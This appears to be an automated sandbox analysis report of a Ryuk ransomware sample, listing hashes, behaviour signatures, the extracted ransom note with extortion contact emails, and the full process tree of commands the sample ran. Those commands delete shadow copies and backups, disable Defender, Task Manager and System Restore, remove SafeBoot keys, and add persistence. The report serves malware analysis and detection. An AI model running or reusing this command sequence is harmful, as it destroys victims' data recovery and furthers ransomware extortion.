Analysis
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max time kernel
151s -
max time network
146s -
platform
windows10-2004_x64 -
resource
win10v2004-20220812-en -
resource tags
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submitted
21-09-2022 20:38
General
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Target
ryuk.exe
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Size
885KB
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MD5
35194c73ff38dd6c3bed7c0efcff6826
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SHA1
1a1ebd30f4a3498cc09824b6fdfdf1b8d9ae9db1
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SHA256
5fce1d810a5e1c7536496c1b73eff77c9c3d92ac41f86959a1be5349663403ae
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SHA512
cf2ed61ffdfad8067aff8776e0dab1f27ea2551f7497108a6cca7eb0105a5f96ea1453dde29f488433cc645e55104d7397ee4f35db51526993823ef46763f28f
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SSDEEP
12288:CXrZ7kwy8U9JlpYqWYgeWYg955/155/0QebUlAAs7sKSAoSRn6X:C97ktflKgQKUKR7sKSAhN6
Score
10/10
Malware Config
Extracted
Path
C:\ProgramData\RyukReadMe.txt
Ransom Note
Your network has been penetrated.
All files on each host in the network have been encrypted with a strong algorithm.
Backups were either encrypted
Shadow copies also removed, so F8 or any other methods may damage encrypted data but not recover.
We exclusively have decryption software for your situation.
More than a year ago, world experts recognized the impossibility of deciphering by any means except the original decoder.
No decryption software is available in the public.
Antiviruse companies, researchers, IT specialists, and no other persons cant help you decrypt the data.
DO NOT RESET OR SHUTDOWN - files may be damaged.
DO NOT DELETE readme files.
To confirm our honest intentions.Send 2 different random files and you will get it decrypted.
It can be from different computers on your network to be sure that one key decrypts everything.
2 files we unlock for free
To get info (decrypt your files) contact us at
Recoverfile@aol.com
or
Recoverfile1@aol.com
You will receive btc address for payment in the reply letter
Ryuk
No system is safe
Emails
Recoverfile@aol.com
Recoverfile1@aol.com
Signatures
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Ryuk
Ransomware distributed via existing botnets, often Trickbot or Emotet.
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Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
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Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
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Deletes backup catalog 3 TTPs 1 IoCs
Uses wbadmin.exe to inhibit system recovery.
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Disables Task Manager via registry modification
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Disables taskbar notifications via registry modification
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Disables use of System Restore points 1 TTPs
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Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
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Drops startup file 3 IoCs
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Modifies file permissions 1 TTPs 1 IoCs
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Enumerates connected drives 3 TTPs 42 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
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Drops file in Program Files directory 64 IoCs
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Drops file in Windows directory 5 IoCs
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Launches sc.exe 4 IoCs
Sc.exe is a Windows utlilty to control services on the system.
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Creates scheduled task(s) 1 TTPs 4 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
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Interacts with shadow copies 2 TTPs 15 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
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Kills process with taskkill 5 IoCs
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Modifies registry class 1 IoCs
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Opens file in notepad (likely ransom note) 1 IoCs
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Runs net.exe
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Suspicious behavior: EnumeratesProcesses 64 IoCs
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Suspicious use of AdjustPrivilegeToken 50 IoCs
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Suspicious use of WriteProcessMemory 64 IoCs
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Views/modifies file attributes 1 TTPs 5 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\ryuk.exe"C:\Users\Admin\AppData\Local\Temp\ryuk.exe"1⤵
- Enumerates connected drives
- Drops file in Program Files directory
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c schtasks /CREATE /SC ONLOGON /TN RYUK /TR C:\ProgramData\ryuk.exe /RU SYSTEM /RL HIGHEST /F2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /TN RYUK /TR C:\ProgramData\ryuk.exe /RU SYSTEM /RL HIGHEST /F3⤵
- Creates scheduled task(s)
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c copy C:\ProgramData\ryuk.exe "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\ryuk.exe"2⤵
- Drops startup file
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c copy C:\ProgramData\ryuk.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\ryuk.exe"2⤵
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c schtasks /CREATE /SC ONLOGON /TN RYUK /TR C:\ProgramData\ryuk.exe /F2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /TN RYUK /TR C:\ProgramData\ryuk.exe /F3⤵
- Creates scheduled task(s)
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c attrib +h +s "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\ryuk.exe"2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\attrib.exeattrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ryuk.exe"3⤵
- Drops startup file
- Views/modifies file attributes
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c schtasks /CREATE /SC ONLOGON /TN ryk /TR "C:\Users\Admin\AppData\Local\Temp\ryuk.exe" /RU SYSTEM /RL HIGHEST /F2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /TN ryk /TR "C:\Users\Admin\AppData\Local\Temp\ryuk.exe" /RU SYSTEM /RL HIGHEST /F3⤵
- Creates scheduled task(s)
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c schtasks /CREATE /SC ONLOGON /TN RyuK /TR "C:\Users\Admin\AppData\Local\Temp\ryuk.exe" /F2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /TN RyuK /TR "C:\Users\Admin\AppData\Local\Temp\ryuk.exe" /F3⤵
- Creates scheduled task(s)
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c attrib +h +s ryuk.exe2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\attrib.exeattrib +h +s ryuk.exe3⤵
- Views/modifies file attributes
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c attrib +h +s C:\ProgramData\ryuk.exe2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\attrib.exeattrib +h +s C:\ProgramData\ryuk.exe3⤵
- Views/modifies file attributes
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLinkedConnections /t REG_DWORD /d 1 /f2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\reg.exereg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLinkedConnections /t REG_DWORD /d 1 /f3⤵
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c start cmd.exe /c icacls * /grant Everyone:(OI)(CI)F /T /C /Q2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.execmd.exe /c icacls * /grant Everyone:(OI)(CI)F /T /C /Q3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\icacls.exeicacls * /grant Everyone:(OI)(CI)F /T /C /Q4⤵
- Modifies file permissions
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c start cmd.exe /c taskkill /t /f /im sql* && taskkill /f /t /im veeam* && taskkill /F /T /IM MSExchange* && taskkill /F /T /IM Microsoft.Exchange* && taskkill /F /T /IM pvx* && taskkill /F /T /IM dbsrv* && exit2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.execmd.exe /c taskkill /t /f /im sql*3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\taskkill.exetaskkill /t /f /im sql*4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\taskkill.exetaskkill /f /t /im veeam*3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c Copy hrmlog1 C:\ProgramData\hrmlog12⤵
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c Copy hrmlog2 C:\ProgramData\hrmlog22⤵
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c Copy RYUKID C:\ProgramData\RYUKID2⤵
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c Copy C:\ProgramData\hrmlog1 %userprofile%\Desktop\hrmlog12⤵
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c Copy "C:\ProgramData\RyukReadMe.txt " "%userprofile%\Desktop\RyukReadMe.txt "2⤵
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\reg.exereg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f3⤵
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f2⤵
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f3⤵
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg delete HKEY_CURRENT_USER\System\CurrentControlSet\Control\SafeBoot /va /F2⤵
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C:\Windows\system32\reg.exereg delete HKEY_CURRENT_USER\System\CurrentControlSet\Control\SafeBoot /va /F3⤵
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg delete HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SafeBoot /va /F2⤵
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C:\Windows\system32\reg.exereg delete HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SafeBoot /va /F3⤵
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c start cmd.exe /c "C:\ProgramData\RyukReadMe.txt " && exit2⤵
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C:\Windows\system32\cmd.execmd.exe /c "C:\ProgramData\RyukReadMe.txt "3⤵
- Checks computer location settings
- Modifies registry class
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C:\Windows\system32\NOTEPAD.EXE"C:\Windows\system32\NOTEPAD.EXE" C:\ProgramData\RyukReadMe.txt4⤵
- Opens file in notepad (likely ransom note)
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c start cmd.exe /c vssadmin Delete Shadows /All /Quiet2⤵
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C:\Windows\system32\cmd.execmd.exe /c vssadmin Delete Shadows /All /Quiet3⤵
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C:\Windows\system32\vssadmin.exevssadmin Delete Shadows /All /Quiet4⤵
- Interacts with shadow copies
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c start cmd.exe /c wmic shadowcopy delete2⤵
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C:\Windows\system32\cmd.execmd.exe /c wmic shadowcopy delete3⤵
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C:\Windows\System32\Wbem\WMIC.exewmic shadowcopy delete4⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c start cmd.exe /c bcdedit /set {default} boostatuspolicy ignoreallfailures2⤵
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C:\Windows\system32\cmd.execmd.exe /c bcdedit /set {default} boostatuspolicy ignoreallfailures3⤵
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C:\Windows\system32\bcdedit.exebcdedit /set {default} boostatuspolicy ignoreallfailures4⤵
- Modifies boot configuration data using bcdedit
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c start cmd.exe /c bcdedit /set {default} recoveryenabled no2⤵
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C:\Windows\system32\cmd.execmd.exe /c bcdedit /set {default} recoveryenabled no3⤵
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C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled no4⤵
- Modifies boot configuration data using bcdedit
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c start cmd.exe /c wbadmin delete catalog -quiet/2⤵
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C:\Windows\system32\cmd.execmd.exe /c wbadmin delete catalog -quiet/3⤵
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C:\Windows\system32\wbadmin.exewbadmin delete catalog -quiet/4⤵
- Deletes backup catalog
- Drops file in Windows directory
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop avpsus /y2⤵
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C:\Windows\system32\net.exenet stop avpsus /y3⤵
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop avpsus /y4⤵
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop McAfeeDLPAgentService /y2⤵
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C:\Windows\system32\net.exenet stop McAfeeDLPAgentService /y3⤵
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop McAfeeDLPAgentService /y4⤵
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop mfewc /y2⤵
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C:\Windows\system32\net.exenet stop mfewc /y3⤵
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop mfewc /y4⤵
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop BMR Boot Service /y2⤵
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C:\Windows\system32\net.exenet stop BMR Boot Service /y3⤵
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop BMR Boot Service /y4⤵
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net stop NetBackup BMR MTFTP Service /y2⤵
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C:\Windows\system32\net.exenet stop NetBackup BMR MTFTP Service /y3⤵
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop NetBackup BMR MTFTP Service /y4⤵
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c sc config SQLTELEMETRY start=disabled2⤵
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C:\Windows\system32\sc.exesc config SQLTELEMETRY start=disabled3⤵
- Launches sc.exe
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c sc config SQLTELEMETRY$ECWDB2 start= disabled2⤵
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C:\Windows\system32\sc.exesc config SQLTELEMETRY$ECWDB2 start= disabled3⤵
- Launches sc.exe
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c sc config SQLWriter start= disabled2⤵
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C:\Windows\system32\sc.exesc config SQLWriter start= disabled3⤵
- Launches sc.exe
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c sc config SstpSvc start= disabled2⤵
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C:\Windows\system32\sc.exesc config SstpSvc start= disabled3⤵
- Launches sc.exe
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c taskkill /IM mspub.exe /F2⤵
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C:\Windows\system32\taskkill.exetaskkill /IM mspub.exe /F3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c taskkill /IM mydesktopqos.exe /F2⤵
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C:\Windows\system32\taskkill.exetaskkill /IM mydesktopqos.exe /F3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c taskkill /IM mydesktopservice.exe /F2⤵
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C:\Windows\system32\taskkill.exetaskkill /IM mydesktopservice.exe /F3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c vssadmin Delete Shadows /all /quiet2⤵
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C:\Windows\system32\vssadmin.exevssadmin Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c vssadmin resize shadowstorage /for=c: /on=c: /maxsize=401MB2⤵
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=c: /on=c: /maxsize=401MB3⤵
- Interacts with shadow copies
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c vssadmin resize shadowstorage /for=c: /on=c: /maxsize=unbounded2⤵
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=c: /on=c: /maxsize=unbounded3⤵
- Interacts with shadow copies
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c vssadmin resize shadowstorage /for=d: /on=d: /maxsize=401MB2⤵
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=d: /on=d: /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c vssadmin resize shadowstorage /for=d: /on=d: /maxsize=unbounded2⤵
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=d: /on=d: /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c vssadmin resize shadowstorage /for=e: /on=e: /maxsize=401MB2⤵
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=e: /on=e: /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c vssadmin resize shadowstorage /for=e: /on=e: /maxsize=unbounded2⤵
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=e: /on=e: /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c vssadmin resize shadowstorage /for=f: /on=f: /maxsize=401MB2⤵
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=f: /on=f: /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c vssadmin resize shadowstorage /for=f: /on=f: /maxsize=unbounded2⤵
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=f: /on=f: /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c vssadmin resize shadowstorage /for=g: /on=g: /maxsize=401MB2⤵
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=g: /on=g: /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c vssadmin resize shadowstorage /for=g: /on=g: /maxsize=unbounded2⤵
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=g: /on=g: /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c vssadmin resize shadowstorage /for=h: /on=h: /maxsize=401MB2⤵
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=h: /on=h: /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c vssadmin resize shadowstorage /for=h: /on=h: /maxsize=unbounded2⤵
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=h: /on=h: /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c vssadmin Delete Shadows /all /quiet2⤵
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C:\Windows\system32\vssadmin.exevssadmin Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c del /s /f /q c:*.bac c:*.bak c:*.wbcat c:*.bkf c:Backup*.* c:ackup*.* c:*.set c:*.win2⤵
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c del /s /f /q d:*.bac d:*.bak d:*.wbcat d:*.bkf d:Backup*.* d:ackup*.* d:*.set d:*.win2⤵
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c del /s /f /q e:*.bac e:*.bak e:*.wbcat e:*.bkf e:Backup*.* e:ackup*.* e:*.set e:*.win2⤵
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c del /s /f /q f:*.bac f:*.bak f:*.wbcat f:*.bkf f:Backup*.* f:ackup*.* f:*.set f:*.win2⤵
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c del /s /f /q g:*.bac g:*.bak g:*.wbcat g:*.bkf g:Backup*.* g:ackup*.* g:*.set g:*.win2⤵
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c del /s /f /q h:*.bac h:*.bak h:*.wbcat h:*.bkf h:Backup*.* h:ackup*.* h:*.set h:*.win2⤵
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c del %02⤵
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c attrib +h +s hrmlog22⤵
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C:\Windows\system32\attrib.exeattrib +h +s hrmlog23⤵
- Views/modifies file attributes
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c attrib +h +s C:\ProgramData\hrmlog22⤵
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C:\Windows\system32\attrib.exeattrib +h +s C:\ProgramData\hrmlog23⤵
- Views/modifies file attributes
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoSearchFilesInStartMenu /t REG_DWORD /d 1 /f2⤵
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C:\Windows\system32\reg.exereg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoSearchFilesInStartMenu /t REG_DWORD /d 1 /f3⤵
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoSearchProgramsInStartMenu /t REG_DWORD /d 1 /f2⤵
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C:\Windows\system32\reg.exereg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoSearchProgramsInStartMenu /t REG_DWORD /d 1 /f3⤵
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoStartMenuMorePrograms /t REG_DWORD /d 1 /f2⤵
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C:\Windows\system32\reg.exereg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoStartMenuMorePrograms /t REG_DWORD /d 1 /f3⤵
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoSMConfigurePrograms /t REG_DWORD /d 1 /f2⤵
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C:\Windows\system32\reg.exereg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoSMConfigurePrograms /t REG_DWORD /d 1 /f3⤵
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoNetworkConnections /t REG_DWORD /d 1 /f2⤵
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C:\Windows\system32\reg.exereg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoNetworkConnections /t REG_DWORD /d 1 /f3⤵
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Explorer /v TaskbarNoPinnedList /t REG_DWORD /d 1 /f2⤵
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C:\Windows\system32\reg.exereg add HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Explorer /v TaskbarNoPinnedList /t REG_DWORD /d 1 /f3⤵
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoStartMenuPinnedList /t REG_DWORD /d 1 /f2⤵
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C:\Windows\system32\reg.exereg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoStartMenuPinnedList /t REG_DWORD /d 1 /f3⤵
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 1 /f2⤵
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C:\Windows\system32\reg.exereg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 1 /f3⤵
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v HideSCANetwork /t REG_DWORD /d 1 /f2⤵
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C:\Windows\system32\reg.exereg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v HideSCANetwork /t REG_DWORD /d 1 /f3⤵
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v HideSCAHealth /t REG_DWORD /d 1 /f2⤵
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C:\Windows\system32\reg.exereg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v HideSCAHealth /t REG_DWORD /d 1 /f3⤵
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableChangePassword /t REG_DWORD /d 1 /f2⤵
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C:\Windows\system32\reg.exereg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableChangePassword /t REG_DWORD /d 1 /f3⤵
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableLockWorkstation /t REG_DWORD /d 1 /f2⤵
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C:\Windows\system32\reg.exereg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableLockWorkstation /t REG_DWORD /d 1 /f3⤵
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoLogoff /t REG_DWORD /d 1 /f2⤵
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C:\Windows\system32\reg.exereg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoLogoff /t REG_DWORD /d 1 /f3⤵
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoDispCPL /t REG_DWORD /d 1 /f2⤵
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C:\Windows\system32\reg.exereg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoDispCPL /t REG_DWORD /d 1 /f3⤵
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\NonEnum /v {645FF040-5081-101B-9F08-00AA002F954E} /t REG_DWORD /d 1 /f2⤵
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C:\Windows\system32\reg.exereg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\NonEnum /v {645FF040-5081-101B-9F08-00AA002F954E} /t REG_DWORD /d 1 /f3⤵
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\AppV\Client\Virtualization /v EnableDynamicVirtualization /t REG_DWORD /d 0 /f2⤵
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C:\Windows\system32\reg.exereg add HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\AppV\Client\Virtualization /v EnableDynamicVirtualization /t REG_DWORD /d 0 /f3⤵
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WinRE /v DisableSetup /t REG_DWORD /d 1 /f2⤵
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C:\Windows\system32\reg.exereg add HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WinRE /v DisableSetup /t REG_DWORD /d 1 /f3⤵
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v DisableConfig /t REG_DWORD /d 1 /f2⤵
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v DisableConfig /t REG_DWORD /d 1 /f3⤵
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f2⤵
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f3⤵
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupToDisk /t REG_DWORD /d 1 /f2⤵
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C:\Windows\system32\reg.exereg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupToDisk /t REG_DWORD /d 1 /f3⤵
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupToNetwork /t REG_DWORD /d 1 /f2⤵
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C:\Windows\system32\reg.exereg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupToNetwork /t REG_DWORD /d 1 /f3⤵
